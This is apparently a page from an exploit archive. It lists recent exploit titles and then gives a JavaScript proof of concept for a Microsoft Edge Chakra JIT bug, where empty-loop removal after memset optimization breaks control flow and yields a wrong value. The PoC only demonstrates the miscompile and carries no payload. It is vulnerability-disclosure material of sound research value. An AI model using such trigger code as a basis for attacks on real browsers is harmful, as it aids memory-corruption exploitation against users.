
10 changes to exploits/shellcodes Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined JavaScript Functions Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches Microsoft Edge Chakra - 'asm.js' Out-of-Bounds Read Microsoft Windows - 'nt!NtQuerySystemInformation (information class 138_ QueryMemoryTopologyInformation)' Kernel Pool Memory Disclosure Android - Inter-Process munmap due to Race Condition in ashmem Microsoft Windows - 'nt!NtQueryInformationProcess (information class 76_ QueryProcessEnergyValues)' Kernel Stack Memory Disclosure Microsoft Edge Chakra JIT - Escape Analysis Bug Microsoft Windows - Local XPS Print Spooler Sandbox Escape Commvault Communications Service (cvd) - Command Injection (Metasploit) osCommerce 2.2 - SQL Injection
76 lines
No EOL
1.2 KiB
JavaScript
76 lines
No EOL
1.2 KiB
JavaScript
/*
|
|
The optimizations for memory operations may leave empty loops as follows:
|
|
|
|
for (let i = 0; i < arr.length; i++) {
|
|
arr[i] = 0;
|
|
}
|
|
|
|
Becomes:
|
|
|
|
Memset(arr, 0, arr.length);
|
|
for (let i = 0; i < arr.length; i++) {
|
|
// empty!
|
|
}
|
|
|
|
These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.
|
|
|
|
Here's what may happen.
|
|
|
|
A:
|
|
Memset(arr, 0, arr.length);
|
|
|
|
for (let i = 0; i < arr.length; i++) {
|
|
|
|
}
|
|
goto D; // Actually, this's a "BrGe_I4" instruction in the PoC.
|
|
|
|
C:
|
|
...
|
|
|
|
D:
|
|
...
|
|
|
|
Becomes:
|
|
|
|
A:
|
|
Memset(arr, 0, arr.length);
|
|
|
|
C:
|
|
...
|
|
|
|
D:
|
|
...
|
|
|
|
So, this may break the control flow.
|
|
|
|
|
|
PoC:
|
|
*/
|
|
|
|
function opt(a, b, always_true = true) {
|
|
a[0] = 1234;
|
|
b[0] = 0;
|
|
|
|
let arr = a;
|
|
if (always_true) {
|
|
arr = b;
|
|
for (let i = 0; i < arr.length; i++)
|
|
arr[i] = 0;
|
|
}
|
|
|
|
let val = arr[0];
|
|
if (val) {
|
|
print(val); // Must be 0, but prints out 1234
|
|
return true;
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
let a = new Uint32Array(1);
|
|
let b = new Uint32Array(0x1000);
|
|
for (let i = 0; i < 10000; i++) {
|
|
if (opt(a, b)) {
|
|
break;
|
|
}
|
|
} |